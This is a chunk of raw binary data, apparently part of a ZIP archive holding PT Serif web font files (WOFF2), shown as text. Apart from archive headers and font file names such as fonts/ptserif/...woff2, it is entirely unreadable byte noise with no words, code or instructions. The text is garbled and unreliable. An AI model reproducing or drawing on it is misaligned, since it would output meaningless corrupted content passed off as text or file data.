33#e2TCVyN%% GQM6PX.LCs N+#Ļ>! GUP܇e[u;t*(q"ax$*Hv`SKx8xoԘsߧm=RDdpB;ឰ`~eE7X!WtxVmfZ$OίH2CRD2L
*!0[!cMU	N!h@VD	d!:$5~P̼db٬+
"D෽O
FON+Y&BO%xiH'+
sBQHqf;< ՋI2Cq'2H)&$P=#EZ*ʄpC9-ntݒ(ʣI,R=˒(Pٹ+"K?,
!Jc0k$IVM#K1-᧘aʠs,{%I.QJSȸ fUӜ!^q!ca~]|*%F@ՈϞ4T!RCmZMsj{wMӶ:[mW#lN^V9{XE-g,@N-BBՈLSY/ȏȐSpL*VmPS>jS
qé&jvrO9dCbxV糚Xp+v,)-wsh..B?V_g[-Ո|}D*)l7>GSZ<>a;|B&GvauIY7HF79v7f¬ӣgC~4GɪewgM3=;3l?p45.a,<^g;KnD$A}FF;.JӊϧGvW-+i*R;M7A|/({!j'{ϏmQDrUv=33ۺWt#N <EudFrL-_桔5xgsޗm	OSVmHkbTz3)sKYyLw<iN8l?GDu]}E1kW;p#V> z[!"9a5˝#s]`atZs
 ƀo ,5MreH9z"H1$@Tkr_i1\}YKA-wjGEBwqf	y$!\-UѓY RDD1%$rL|;VHaqǞ/WpQ꯬1dq`١RGP@`q'GjW<::p-/ .K8sIxϫXoPW&DT9 =Fzڟ60G!~4Cj!EΈQ!X\>- 7iNCq)z1`4\x?mA3	N3or@Jcjb\:XC&LB_o҄9©gzQ$
00^gI9A`M6?"FsӎRL9 "Ak#;nKRl%@$*G \
#UaS(%3ajTru6%9- 1ޱPSD!9W[_ |*.$UїCٌjȃh1O1cTSh a) rt׊!0fJABBCb{MW^dH2<04+e2
(:D SH	'tT_zNxU)y\X*IEsipB$[ Jw/2uaފfhŮmdY7jdj!in"7C9	ͯ*tL8Lb.2 Un*Z)NN-}Z{UlfGU"COfTxe\n5.}0dr,r_T5N)YW,p=ZrjXr=|C푉9
1ILC'A2jxMogT!P5-_n_IF-Zz5yKg=?Q4{NBrY&YVMHFЏgZ:k4"E\+en$.sz}IY{eD^D7w)*z"\~/&qYJ${,CϽZ>*x\>,+]V)veLK\Ypl=w6ZWcC0afrqO]9ݎQgӧۘxV7v]T@~RwCZs؏ZEY2h.Usu*#ٶ\U9=KjjYvjMdam(R[1.b+ӞM՚J▧"?no6}mDkͽl}>=r+$|<|#˟{p=a=5뫑2Yмf!ڐkn}ܷ-h}|crY*|7KB񨥯0?pzsc3[U|=w}kݶcǾc;gJdakeF}hDm$DtUWcؾ]EO?<^֯8&#8{ͥ &Tqd~|Gg1^u,⣧:԰?!pzj_]U??F<xa0X.#?}0N}̄/~syvqL}ݪk
͏pw=Au^Y/UdC\Z!	k&[8yv
79\nR1/ph<Z/pC=.3O4:yqG!ȩc;sƂjHc!Z+\hn	m@-O7~\`b(5$Jtʢ.^:~9ֲK~o6PdN`r0FZh<sO㺀N7kx%f J	8:0f#0psvh 	41L!/B*vYkjAٮLvVcX꣦+yKϨh^AG_ެ]xܬ`5:Tu\_6sFZ\t}B!8j
]hFݩqPj0|-&XH]eU7$%+JjaZz\xI*(i~jx8_^]?<>=$
"L&H,
Jݳpثj&csM `a@b16.@M,b&14YSXuP^jbBryiíOmկ&x# ihsȗ	ܓr"{(CW<S\KK!]ƈ(.-!?'$sTNhS/܍9fAx8?!+&[s
~9Y(<r;s}aʝU   PK     N\< Q   Q  .  fonts/ptserif/EJRVQgYoZZY2vCFuvAFYzr-tdg.woff2nu [        wOF2     Q        P                       ~` |>	
(R (6$0 _Jv8_86vP{{6elXpئ9߾TK(F#MDjk=T̽%[%z
I噓VS6Ӧ\veau_nPqvӤP-܊E	NN K1tN0TpeYxwC]߷d)Vhm#ɵJnQvIz6;J" eʉ
	:c\.Kn.#ߥn/PjD0Q:`ݰJ)8qp?}IuKE50x/v?ԇTwP̆+w9UpGgZ~ Lf\y<BwnOo4&$2!K$NFh&62[Rŏ$=QY̏cX5fOAQARS3ZYFi)lt
B@*ҍRZK)c.93t*00K]I0_A%kZ(l߻g֯tV"CGmCvqxAxtŞq|(d48~`X;@ֱpz?MgQ6m&*G|P `M[5ܛkbX(UWgk32 T5<Ts<IY,G6%e\dCeR8LwuQ$C4ƀ wo3 1rƓ3缌qJ"cl I VHŊb}әy.psdy@y`ap_SUbi'U8HM5wѿT8dWrӅX87 I
C*NXȁ&R	Rҩr!Vۗ|BaZӲRQ";bI	IV+Pڤ{&[-IjyPP>m=^DL0*  /,0
PR@xh9)!\Y+{m-Da@S厭RWnwOuN!G*K 1u @BYX':#<ne\8%וEN'*)1 |G';s5(@2j}T_<Q1đSEׇiװiFH0|
$"L!L8Ukw=izMgXheVZe4A:(2(A҉\K'
&ǉ%E+)&iVi.AHXDUHTDHL4kvi6U:&	z%tI')fHbtP,x$JJ

(pbq8Asx Cp3^#g'3ah,3eJ/D>Jϯa_}|8X?0|evf%:VȔ3n0o.$s tY'޾_0̑\ 0&<lޞ)@1uXط^Z{`USI>'k(Zqw	NxbK
SbW N'|6Ώ%v PQ+~AuL1'9ei"RN8'yvǰk,G>ABDaqo?6hhrڵ^"\Z15Hai@GNBIqY|bǵ&*z08qyCA>8)g̥CO_L!FBC`hx}C}C$`p"}%\\a6sKͦ}cW*+?_D`fX\g|~s:9lP܉R^v#G؃lLG|P=mm>a&hLd}&>[98!pc{ެFO:Om|up};X>pG+uv^|ǔ0e8rj7~УY_.ZcI|2mg{β<RS'jgܘPG}\P5}'A?91:1AlQ,AwM1*5+٥cߑ*Av/^zq||pVO:Uxyn<bS*dR%
J?sݛG/{BA$``d4I$`L*$2P0R##1W(H.Hdl2@"VqE2Qʔs;Mؖ6A+,4`*{6T(G݆Y<YeTeSq͕5T	Txp^X2oNs:T?7JMUdq#t&zDX"Xࢄrܾx<FhrPEȘ6
6ry02R+cۿ :P۔j@j"CD'.
l䠲^1?ٕ09y<8 ̸[˟xF}}dĶfdeQr/idrLyIpc՞us|% ]ݳ^0tWqCm8=P@×\s7u);=FUxVu?_7BK"ĺT_6
/t~L
tbtY9xִX?HPPy+i4DjŅ֊-ud<Y/U
i&CgASxBf~:3q A%l#&c`^ODs9<CiP\I+(n(CA!ZQ4ɯkvhƌnbvs?ILJXnsKi:b8:}{4; ޜ#c㾒3Nz{7 X @*x&=)q4*xD~RQi"!g|Jo:pm,D 7&h^^$#NٺPu"4,(ģi|΅nc_QăQ-UBޚI35[}" B<[X.WZ`UW/o5pyZ1miD*
Ttc<]_,Y }rd?v!S}[0ь !l2ʆN,thQRn<xS#d5Quwט]8@/4OG\D$+xv(%K0uub¥cO 7Tͳz'?2	$Q#y*ض,쀾NOR)f}IR7}xGFs\t;j/I0}f@BQoR]yf1Hoʱ}Iέ;zD>ѳW>vˀ[k|bǈz2c9~bƫ]IᠼHi;*§B'Ir>J!3hAlu^Fwl[6 +|~o/.Ś~^P_z5b*&.÷DaY`n9k6yZNU{K	QOa^$cߙM\g P4˄VSᎎпk C^^+ʏe>jfm'uLXbP7lz142Z`N؏nɆb4ٱޱ=b@Fw3 dd[CYcPB2z12Kک<Tۘuԉ	e{t}.?VVb#٩ʀq+ξHd N):מl֌4EcJڢѦ+>~i4/FKs}3%49B<{-G\Q!%*V!@*P19PQlM9Xf0xE+8@ s6¿/ z
$=)P.8XcRTcꏨJ*&N
Uy<ǸI3=))k
1`^f֓V*1io$(Z2&p}%Iƿ>§|o^2׼_yӹνWX49%J{,_b\'yI{z3R[ݵ3)ds	@HcroHi͹^]7``\D>Dټc3s(Ẃ>\ʊ{ϖRٵP*5?#x9EX#1<\(1a>6[?5/QOhYӲBgH"4vD7el?pI<[NOa
4ةo3>t̐8%_,K )YG0$̥2v	>Y223ˤQ\3CozhD9rɠ DZRc`'SkX!@.Qͯ{w; QmnULEyFVKRIn48 !@@ sa;|v5kgg9/BKێ_BXoFnK'I$qǸ})
utۤ囂Ŧ;Q$3k91hl2xM~"$4DfJX5I;PAV]%N{dc|ÕI\cX"tj roxsH`ZeV,o@2Lj6sJz<ؚWD16C1zsZLl._1Kx5=]\g{\jRxJ#?,T!{\'a}y6vhD>	$wK!!N; i 
E.t=* 쁤'c	#c{h 5jwgBZjoU+89qӔ7܁Sd|-cp/'W5qLkP-DahɈj(Rǎ,K50ѕ3o^@ㅙ*h~)YQuXY-{IM:0	LZ˳Ta7?.ڬw1ɕP[}jyŲT@gyMzHP5BSz:{iUTg/_+B"]tS')깧{5v[i)ulUO
ȋS/z̢1oa43Tiqbqv>eǶjIʘ[.aQ"jv0RHe!K!YJ
,fG̼u:v6ϙUhde/C*۪Mɢ'oeEǫC<`c^|r7WvFy68#x^쉣H{ǌ'SkR_sKzp?b]A{T{aWY}˩u>]~k1:+}EkV%΋pDd|Qoqk5y)UӃpfiZjXiA0M (&Aʮi4Qe+|b?xE2t{ wrc5h8%WҧBjmgAD|u-1Г;ڎ7hSo@u~a'㭮7jԺI,=ٳq?""m]4XpTKɕ4_лbCO$NH9Ã*%YRrX=TkM浦PF&*CDWg|:1
yͥ^߽ލ`:QZ@~#[i-an{~6߄$'y߃9椅>\"n@6p"W:CʯE^+̰u6j|d\n#|kϜ
y[aÛWv("}
.Sȓ/x	Ze{,"^ՀR]^<a<2k@|L$->B3Asgb~)</;rН>C|<L
bC_Fu%9TkBVKZQXZWyU:LSKBoq3vqJknR^8nstQr#.ʭajI/H^i-G~\4"A~}ď6DƇS
"MMu\ε5^")~	Sjf<4q?YD"Ja6LcɌEC~_QTY}BwoߘM7|HP<!-F9Ӗ~s!<h]	qR2?E)DtL.K|sJN]cD^LՑڇC-ntKꫀsu|өa:mḟ$t,׋^ϋjTf{ID DO.F3Uۗ=`	ybq4L9]cLۇ3#t[c6(ю\\9N	}p6!. 'oz3VGy&H'Y1 $﬏y_4(0kU|weNkDOf.5:sƂWُl#lk]Eem.zaĖsJc̠NzhQUelKSnoHOٝtVk7_gRO>3qZYXHu%*|bۣj>f_</7҅ZG֗{x9InC=Z5!P]VtYƽOYF^;\xӓhD	^qu}c.$$P6V]j]GMMZ4ey>qb"D9VyYbClz۷V֪Cj$|o5;.XgA4#$rqYς~/}MGA9Tr1sj̓']	L'	\ƹP (VB0cܯ3X~tJE#O> dO}1ILq;0-9qg3SA-7%]䱘(8ss'㟎s"<1:0n#(ܟlḌ̌kn(R{h	 0 $x<& qUa 'w5M`7(2|b:\ *ē)6KX9@ǦtKq/\+=Ջ@E`Ҩ\vZs# Rq s5ۥP?
<]nlXq	+</҅S2ȅ V؝+rhOzUyx;V+0ϛWЛ4v&7l${	Gfwݿz~mn[v9:!^[dFm?w YeS0ULT`1~X/%j(K➽YŶ.qb] hƍlGknZM\uiD4-5t2al7#7'ǵ"m֊}w=g.6 â?	u.Gp')~NKW R ӭuL ߮#F@B1̓kN@%K3nh:O2k뽙}[K+q=SmDZۨx鋜<uIlN)M"tau1(EsUH&vvU;{H$\:r{y)u8%օׅ~[Uχg	-MhE.n*հ#H
`t|&*"	Pٝ D"T(I\ &|Үu!e,P8C鉿ᏌĮAt`2o!t>n|7b5+LPK 6[8@ Yu܉L@D<&Be"41l[:_+mym*|}a91Y_S0\+0)gzNĀ\9h$o!.N"D}kh;秏f4D5ܿ.8O`0(Ae_`d5uX+ߎEw\>ش3ܠ#Nx~XP]/?6?l۬6ĳ'
{a[V7$Nzor[C#4@ FO}/=%TI^cR8k"HHBފTL>:L7Ԋu`a&cƦ9hY@+Iw4-*
8s,DMw?)AP]Dkg[^Y3*rZ!$f'!LxvF6l@B`8*!8ljzC8KkvPM4%#"d:ܜ5m҂x#/J>9a6s2(g(l9w:X{P'ƼB)2ʼ!yq6u1w[}D_zJG<ǺRRe1#H_ \j1<W^N?+o!Q	F:'s5'OG0N'+O$v* Pāq$J@H2
M%
O@:EN]d씩D(1M	ҵWf0Ng|Ry(g쳕]{yu1XFݞ .p\u#P
(piʲʒ%n<2U6"ZWeUG]ef&3#3)v$+Ycmq`27u]k@|f} )%f @,C3%s<E M=7F~QxBoWggMjӣA9p9
2A	2ft%Hxn%vp7!H%8%+\ogP]&5y%F%kh/vNB};;`.Cx>:JzT=:[GRc{#7 Yw|SZ{ư^lY¦$[Tř<rrY	r;ۙkzgT7TeqwoVO9Պ'%䇄'ZI-̦ЁQ+'4ۤ|mC_Nj[Û<=+<5J}mgQuv9p)
SDҫB16jK; E$N'p!/!4x  @\E}B	27DvO@O|̞ﭠ^3
کrP9Z+=ݥN0<*~3_7N/@t>`"]yS Ix_dn%U&15d..[VtfJdU[-t|*lF\#̱QV<4f*l"/x$VXc%<eni	 IGfem旬
 +fg
HD:|%\mчеdӭ F6pF"RQHMܓrrLpWLs'.;uKdwRTJi@A58>~u}Vx/sWfM]VҖhcc39r٦DS0zoO	cm̄:AVύx2"ī@'dbSVנ{	bk@Ej pX9}N5?ix
$]$9q4Ġ`};ͭ&)"p2 办4y<(i̭0>U0jZu~BE*(*=0DMšB5*ǔgwn5c0aWM#2-R<rSFFv~nڶnYׁ{C`{!$DE_S`|Z2BmDf#A'ō6J;=b6Sxf_3Ayi2DH_o#HG0]m~3Sw"!=(_lk)C߃9ɨѦ};s!}<+v`*em]8pXxeg<,Yhj	[̒W??b_,
Ŕ]Q n|Y@fzfY-7ܧMM1F]-VpKJby&RSq$ti24}܆s
$i?o2#G͑济Q2g7_+aHi9SΌ@)pY=]%
Iſ-uEZJ$IP2b)0h4|;L_{	Ecʒ?:L[cLac-^ 
	hVԚhֈN+aFMl/ElV;H$8nd:=$Gp#Fu
d(a_QO84}
S\M/	nh>|K<{`
UEDso%BV04S(80\At!*HHXdiRkD5.E|'t"s75A|kyuQFKOj CYcMT(W=,Z2$_<x(DQQA4!HR|EА*b,z&+aVK^O$u"Ihۉ'wH5^wҺ0yp7a5+"yKrCзĔ$G}32SCrB*HfJjMd3tM;Ӝi񼳝>f)xkZXUv'\$0ǀ&f}10(gA\(
1:Vl?%!+" 
)u7	Fi*,a0f]v<	l|0Ui(1mzPJ=M<<	K.
f.V-+mkLt"#$UAAd3;`6R$-yCJǪx;Ǽ-qx=Ͷ|Tot3owi]?n&j$iq D(@'HF) (!kteNYyP]h)?۞ì)(8h;F_È#6P(F,9^۹\Xh!KLbۄ4ˍ$na!Nnp^+)	% lnW.iץgr#=kApSδyO71};[bL"UǾnGd2,Xroq#N)پ/<Y'.<;aT)F[YV':벥vSx		V[g6T/BCmhiݯͦ-g+TSELLB_IU9DhUwݶaM>'gҟPc۝'s	bX:Dƅ}-X"ЅLԝ[J'H`9G
yh$iYKa'X9se@`G	YPKK9U:ϰ0`Q1	`oMs~ovv9S}&}RC~6P!&FͶv,	>շ摅.4BES/>)_
n?uK2|]$Vb<ӱ5WgX*=3&_O#3hFuBM%u@>~eSkX/F4K7T5lw~Nqkݰ$_ mIXSn& @Z<4y~!?i"/b &#x!1)RƜLHPԠ&^WYè_ϧIVhD_:ٕsߨ Annj}AuFS=rE(gל\^&dVoJ|3tюfm	Gnpn<G[Օq|nFu6ėIl#XK>@S}/ܐ`J®pPV@|F)KSfl|]Z^fdRYؖ	!dbp]bڪLQJ0UH"S6\`Z}_%NB'YDߨoNT>O
/yx8SQK[8Yc,~p7 ro2K!.*}|(hreu2ltS3>_+?!'»su!T0݋X
,v)I0F!!ٵLDnVMgm9!/˩MN@F)3*Tzq3~ޛguw.<"ZBЉf1*4 N{d>z"i	GJaJPnjA QAGsb_"QO0Ne40.qS{cҼ9=7bt٩eBx5rRF?{Vks^p0	!WX]OC]H F{FWNR>vC?b\?Xgu:05|HCJ7kO1`m\$HgQVCCns7.C^p|3β@2Jvϭō$-Iĝs%йJ W2[|X{t40r됹	[QPFVx"E"CYWu!Zbzmύl32X5"Lտ𷱍_"<ZWP|şn:byدw~QU5!}sMJ3K~zIsk&13>_+g<$(#ۗ[HȜ5]ywx!n%:A+ZR|7>!C; "+&6:L\_OL5 .j`O_f08ً)S%u+aE<OL?LㄺMO-9sV(XD9iK&jqҺϹY]/7_yj+""nh4Ļ
\G^,QPna'lqGiep`xXL}r2V/ׯȧ9{(,}ƃtrM3vFgnN.[m"(( AHUM|F\xx-鿠ǬN0|=W9Kkrx)<˴=!lN`0?&WQ.JvX{@[$X=zu35eZaRM$.qڈβ	
GrKHl&[d):}'wݟ+W?D<lTmUln,
0& /Rڊ볋[E><l4̣AhR
9hf+s5*]3OiDrx#؉X`,4?@ާraH.+^-H#D<;+9JCt0X|(e
,.$B1K3`'"=3)1;ɦv[V
xq`w}ӊU%AuBA.U};ְ9C"H*
9d}h:&/tAܰ(QXc|<Ϡ[!ӳSLut%zTf6v̚Ƀhgv#@%s(1~s滵%@A?[0?ZMvc% 8)cCE:q';O]fBU cddDٹ[oC\ųfkyLnB+2嗛 9X&b,*4=/(5Np+ԜoSl+G5Ǫ2gL^d"ь{itS!U	bsv@숞?iU͙ԫ#L|2G7Oog+vNowNvG[gnv_3I.xyt`ߖWyTNufo@z34<a7'kp`g&,eks!%f=δeub)m>)~='=8nXحvJߢHj|Mjre۽9|tuePK6of$7_61rW:><H9<,`qLygӜKB	?9:Ӄ?-5K!MzYV[%#QTvx\FR܏|uP~5Eek6Oi/rqʹG@B:&sS:s`pXh e]]LL|&:/!f@EA0C[	ͻ7t)iL"]@(%\TmK2TqSz)Hq{Co\=6ZgGY^3mtzIiK1#cƣIंWJ4%JK4`ޱWvFW{Kf
+hݳd>.Pʂ:FӾIgL]^l3\Z
,2DP39:Wʟ:L_~Pwв_ +ghT{g"Z.;E{8L	V e)ށ3yQX[mrXo߶DU+ޯ꺎6@V!.z9CzZ(QF}xȋp	=	><ǻoc+;0*c>}ABX`E-Kyr{a|C^TljЖk5z9,̵
ڕ?xo袋.uOJ4u+ǙD'/hꃼP	q^Kaܨ.596c{0{Xћ0	q#caC|~g0y59Y{jxw̓mVW^ D~?2e(n
R~:ʝ/"z/@܀R]W빝		/t51?we;Ϊ_lp-D# Vf3T2Q>u{^ӫL+'H7F(;I#YaupĴ`0稳SovYFrA!Bzҗt1actaC$+yWoptP;U-T4W;A`$-ԛGҼc(4(h@g<pP,Uoa}$C<#"!]e<hNdHDAAd} @PD=rEyN1uJI"4w&5Ѡ@Ȳ
Y;1f0fXOu{(-Ɨۖ:p6CӗJo	w<_O5%@4*E5Fg'MlZ_ңFfPS!]Az݃7;z<2?[7I	<ch@uC n>$@kÚgCC9䒃JaX˘ؾ~*H[,[cb~췁vhbةΖ
]+$ _oIur¡BjMv6`'x׍/+V!dEpAf(ȝ1B:6O|vd3:0}*
1z@=5:_m킼1@I~Z_pDfF[Ӈŉ%=r>\A	$I=*hLUoz\ʳmV/|lV%p,X sϠ`	 ΑiC33*{OB؍VH_v*ɍQaSvOF.*W(ψN(sX{zA[)[ٙR<&MK	Kc;"i	p^s@AZT{"'Ϲ{ei,,:nVЖD~[`J}D:l7ǎ55yW<JQdXTTP%%CƠNU%CSnΒ<6Ht!V	-~4K72
.TG'* ygWQHULٍE%{t>Q=)q<;T!$ֈUCmTFf%rsN3$ۢfW6ry6ƗznLY`*{THhߗHϧiArL{#7]2YxQ5NYRVٸ⣳h+,}o2K=,](VHAmɒ"Wq5XL GdXkH(&HMQ_]Q#5nُ1sY[$3bI\85)b<dm05mq%,DCP-HQP)!+WA+lUfq8ҭ\X"|zJ,PcZT_[-wg))X5Gìvc6NURblȹW7{`L6܍T5GS*,Kύ"3LbAW{ *"UGx ܻaV.Vn3ڔVE07h^	,nnB]VE(]":/ÆhD5exT6@ձ'Ec $V7y4N҃퀞;;Kˬ>'(0dSD	,2;ﮕJn N-/mpSO;-ǴY؞c6T<,F@-p`Gsʹ1Lq[|zEbڈ>e2@BP5樣af-fS[)z1m&\qA˳
D̪&F<ӷZXx3䓓"{c-st'0[0*BFQ?Hjӄ=π6p2A:zv,y>!=5qxQOvt{V#AB	xZ8`*xQ"AUNY.O? v;<Ƅ@\</0H6~ǳ!rXV7:׫7`q	^C3aϹ.w,pl".zھ83	<Lۑ<qÇBT4\E82ڃp{=$}ߛ	T{ufgvkՔ+,΅
;A4Y:bwdIsX]xx.>M;US|5f15!:E9)M+&CVlL~
>^~͸؀n7A7;Xu_zQ"&v;lvwT8SkW+wo5!R/ۜa uM!!$iE ˉ4OzV6oiMݷ+ɿ-M3CJq]"~rߚ2g>9ނfji=e5aΪ
΍n1Z(ƼX˿LrScS1{mS̢LH1n@v
w)IrMU.&o`ްU	B>e .-N4_sYTm"g-3/[E1[r&FjO$EݗB2Zz!bt=.FWM!gQ(pDK(J po,\-usJɲάHPHN`~v\1bmpٓN''T:ĵ!tT]a)MsMc=I7mΛX)5ȹ?u!27JxThI|*pz~w'=2^<->>bT|.'aÉw#k=xc\$Qrkc)L9h&͟\dA]9٥hJ9DGó8<u:
,!*
o<
A?lX)ZbR7ł-[2fY#wX)8R`*.,hLdM[f@)Z!LUާi#e.5x3xCkӑ͖,UnyrHtMwۯ#6Ǐeo>ߑ({ntYs_jβydM4;_UT[Pp2[[^zcS:	G>?U|
CkU~kl]WNC˦aԅdKQ,i/Rkt%d-Z9:TDR"^bNŘ%oA__&'tml)=+BK_fv%s&Yȳ9L&  !-Ʃ{:^e4듿Ml7|Tm~~|8mq(Ϫ\ج-v8G5@;Q1SssP@(Q#6<j86OS=Qeun/Vk!ed.'
K,I3o2aҢ7 B%?Ö&`El)ٻ~.e{B&:$BxfǲC[{LŒ])м{OEow-n-CF}|LY^@7}jnQ5S1U{2\=^ *~vf7}[j~LԐ޲z(ߓcoh_T-x5!DFs}]G!eSKG>*XSQnrRjo &Eݩ<Ar:ֱ(VrɀB,߻K7>E8eD+/nX񌟖?!~T8j^9VbRG-F= 4X4,#8wQ(N8Tnั\|rҖ^<"0GD;SE/Sʇ'[X|SFeב4bi\(OL܏I*y0V2UQq?'T:4nTk#]gs>YO "MĊ&8!r m6&KO	|*s
y_U4jB u	BqnzYӳ0&^,rqCn{]m	6I!T\#Mlk^Sfpk&C籽5,m*Lʇ]	Gj4'شvxz!ɫ^KԚSOI4w }.׿}HI__QBٴeۮ=J~Б/myapx}~&QXb-
_PN#Ym&щSg]tM?}D A`G QF0XgXZO$)T_ bs<@(K2BRk:h2[619
N uOL܍*+;=2#s0~R6l$>duIH0yWb k*_ʠnWe'J3<4O)]8ԁwQ;[}ŵ-"vQfS
q`¿otwH\4؀"5R&L1/]m3l>l@i4{(eJ-&W~V/oՊE
)^0}N{YLN:EQ_Z9zL'%ۭ.a^X%N(Ϙ6B\A1 ygF\Eo꼕!yG(U4n(3prpب wAxr|'2'N_VaEVfG<)$NpNGOE.+33E$Dwt7RΨ*\XgIwS?+{w   PK     N\b    .  fonts/ptserif/EJRTQgYoZZY2vCFuvAFT_r21cg.woff2nu [        wOF2                                  RH` 4J	
T[P T6$ Fk6[qAt#\dm؃Yف J2W?/IYVF@'$Y&(@n#8;0>:
,is0i@CZk	58PDWe- GWg^vj]v=.Ym|MrFWEoܱ--npoV!FUkPYǄX!(Bɒ,0ɏϤoňu1lԒU16؀"FbYXyw߾3:njNU݌d7;sROJD?9lHvKJ"X1'Nx,gB>ANEi\vdUsD^V(KjZdaM%1MdC[LX"i"#S?TхsOaIA*$_JKxlV9̩-5EG<`K4/<[K4Wt{EErd!((۪Edd[Cx`l%BЪ#j2H!,nBBOX ecל<U(ڙ9sF5Z
;F0^FE  ;ɶec0FĊnI/zW?S=m58q:|w˪;fECٶJ`%) a9ZRZOQLǎwB%#<­wMQɋ3I	35OtRvU{4ͳe
mf4kH}Z#IG#tXBw6^Z*/ե(p_G	"Ue"zzv=,6ʰyB W Q@Xh}"JPJΡ4Q0{ջ]$4 E(FRH>*Y@.":f=W)5UU4	
ӌH.n!=]q"n8~Sla^Ѥ2cKS[6^ H<9¨d \#UjImJ y':;si Jj rg
wJfbbmEY#9@()(%I*M:3ZbK,J/`xLrffW֖lsX]ko9:eMKkk}m&lXۅxu|*0മ7sp˰;={ׁ&3߂J])zku[l?
oK-a>r!䢮ڒie!+VOS4<T)ރ1Q #"nĥ`Zt
s0"/KD8Sy͇t\0.᫼,7n1b)z4$|$=ka2|H4"w)lq(B- `^Nwf>v}UZN.Õ;b 6rD#4~\dL,pgENnD?.+܎pBݲيFCqjfط#+>EqMi7
OZY.p$T\( aɯ=_NPXӌ_{$)Xd;]o~e5t}<HO^{ǠꌻeK}ys7x-L
f{%rv.d{H}X*G;nBXXwͰdK\]ò\Xhj^OȑB78
xܫfwʪ-aXo?]نFaX4Mr0;fΪLHhX4<'g]Lz&fv\y*SDSL5t3zP6[0`k#:愳9.,D0AH0@0 D&d !(@(&	B \*J0."d`$39- XSx>*)Y 2b% *Plm^h`cu#`PCNՠ@u$`  pA @, J 0b4IU%LǑe Y	!\<|J6ZDmPa45^fr #056@hcF&찁
#"HN*f0pd_&ЦÜ[38+uA#ȟ)
W,tW@3n۠U|ɛ"ahO489%WUr߶AюqrIMH9"?£cs3H.0@T&8L)!7ٳoq`66O%  18 0YoW azҊ(H鉫n8=wY8'p\e}[9-g<Q124gn{ 9#i
fՙ%`@ާeuP$"lBKDU_ĹZ,(eq s{kz8P	swAT:%ݻI_uXnXujtG&<A7-	[B(\PNbdW*.`6Eh,k!3>I/>vqkorX+_lGz;)s5_#{A:+g K<Bv\l}Y|F*ގ	]6%7rA tS[
V *߲]d1 tOdC7H8hmzW+m٣_7.2@NYAG(z`=ԡ38(XEI
#TTU+_u䘶)HThVΧE.vN+~ۗD&RuuK
VIґQ5]vgǾ7:oA{9±7Q[߅Sוr;tKQ݅oƲ?܍|u98ꨙ}"k&hJW	*6fr؝ja\vjWsmU4G[fRu;VJ55rIlAiK 	V504upZClluyJ=tPfP*f@eh˃t	18+108?_*'yuu#<X|N#H3$7,^܋v	MU2&^	(ˏh6isǣu6p l٣٥
(n;d1wVddPTm{&".:r`\Q-KH eCDxscOU(z-C}Wth.Xj¥Cb;kf?sO9|]B@ ^Te"sP+آ$(ʷ3`d6Ã;ēOJBVxdN$<*m@ xly\) 8e6sx҆*Z:|5j0;6Y1c73d9g}벆R`@}nk`[Q.
2G'9rO`;\cp؋fbSNMNDz5YQaxMvp>7R`)RP5?!\c%HkKtzXTr<4E7=^B,gs]c~[Qqi&ZVu;sģl'ضwGBn0L>RLͬFs.<<Hn%L/ڠ0d߳Cn|Ἢ%'(E_g:ǛJ`h^?A?èyc#dz/~46%FyU2रBTsn	AbP)_ȅcw8rs\MӼId0guyU+}QtKjW(t(+`+sSz)V1ߕ~W]<?#"~Lt J$GU{ej⬨;TTMcQnz_"i.v[gY_wq4R8=#^ءh 8zV4r#Iz8>VNw&&P5ZKHyLCɖ'{eGo?jVC.1"H
ϼ妕љl"U77
{rC8"iqb@J'/I2:"3ʉ",er.
W.vUepH kZiϿYb{ Tkx(Zd2x%q= %:eQ( ߕJK"oD#6WjHR6ěgZoLYkzNs&K3LauK@6~w$[^Ȫ6rۺ@`'U|)X};WWII/5F6P E i6 U4@e" @Ҫx UɏjIn=bT+=ƭݥ7B	Qdk
Ոoro\lV!z{4|8 |PidQZ?jd'"ʬu[jvа4
T.R[mg)> Wh'<F!rUu
3(=C?PL$}VelzZw:}f>L*܎AvHygn~_\f0(4")Z=%5$IemQPI1Mw^M$6gH|OD(Z"Lb&mOVmjm/(mؗ䖾/rtky#'Tt;s>d*[&u-)Ck*Lp?](S_oW3oDOڣ1g8z%-z#ƃ+ݔiFx;dgyqA2	xU}t!Fev-sFjVPLFvUgjw@YESa][#",#肛=U\@!:hgjj9|4)4Wr4IdH$ݟ]մ2B"ߺoX!fT.6fY67mAߏ9	il)n@8%hj)3ZVQ!|R1M|jX'?:8{%;XnwP 'O\@yu3@NChxݕd_2R߰Ñ4,e[Ԍ ĻeQLسb|X+McH~ j6޻8Atlh	|hyJMѲ=M9_mjѥbMO4ݺOl~Dùu}MIAmlLߟA\h~e8nw8cBsV/9<`֑ν@[)ĜtS[2K^Tn;w!JƸ+,ɰ yKJ.2ހb"% F!celt5{hi.VJћA̰XuV	1ιs#k_򞝨O+f 9rm4D5Pxv܏8xM'ZPFj^Di㾯f>(_^OsRejQy>@c #p\V9n6jPG\A%X,wy`ul<,%|Wv>?gS%hwrF1c+TiEL}8BU⚮11ot]EGv>k4?c!'⢡Ms4&q~nt_9N>}:sXwÍjN[ksbW`n&7:d{D&&Z^'}2,^A,nȲ@5HzhuCua\|*~`oo?yR/h{Ap;G^{f.?}W}Z\2ݱNX=0 	!M$R]? c[Zp*N<aCПa*P^蒱ջZ6˛jlgkc"JJpTǁG?T!O!쨉X
N2
jQN例OeJėEKru\1+f݃;;k0X+"=Pn*_ɤH(]Q{+ĐWbpӾyseI?O<n?8;t4ZLޥ(%JD6Wc%QGG'OBQԋp:h%Ր$4\}<4{%%,Btw0>Lx"4du"@ep1.j!FncۃJ+;mg~/=HYm(k/Tg˿Hnښ Os}pXjჷĆJk{a54-U-neXlb\y*:ie.c9wҟ)7;vDtYϫg4	\G:)use^;iQ&ln#d{\<B4KbfP񹹏<ZrgD1kSєnϥ_hQ{0+|S\e-5Q"< QT57i87뢻Ry[i>}[YPkxaMXvv:BʍפU9-6|kb,O5fYJZj&gݞlKoIuƎ֦]U zry߼_a)Z?נ@ z/_$\!_kCg}[1xQymQo)2CKo/(pV]LJ;?:y(x[ՆSݤKLܙ4xn`.)Lh
ifPҙsDG9ɚ(9w(gQםmnU\|FSg_?vW-$(*E!N1SuǴ
IprSe\$$ޮ# ,#=PϚ?7,";Yj؁8//& ?soewNb΁WFx]S;'~:*W{\rR<>%N_AhD9E4
4yI T0mNeNۚhSvlZ NwJmJxz5^X&gNŎ)lAN{(//_4xjz]9>nC$ݹ3,Ս*̋\,idͺx
ؖo(U0GE-nx~y/ozPV}z\On$	OM؎3r [*
e/0,PϨTLѲ۟Y˄
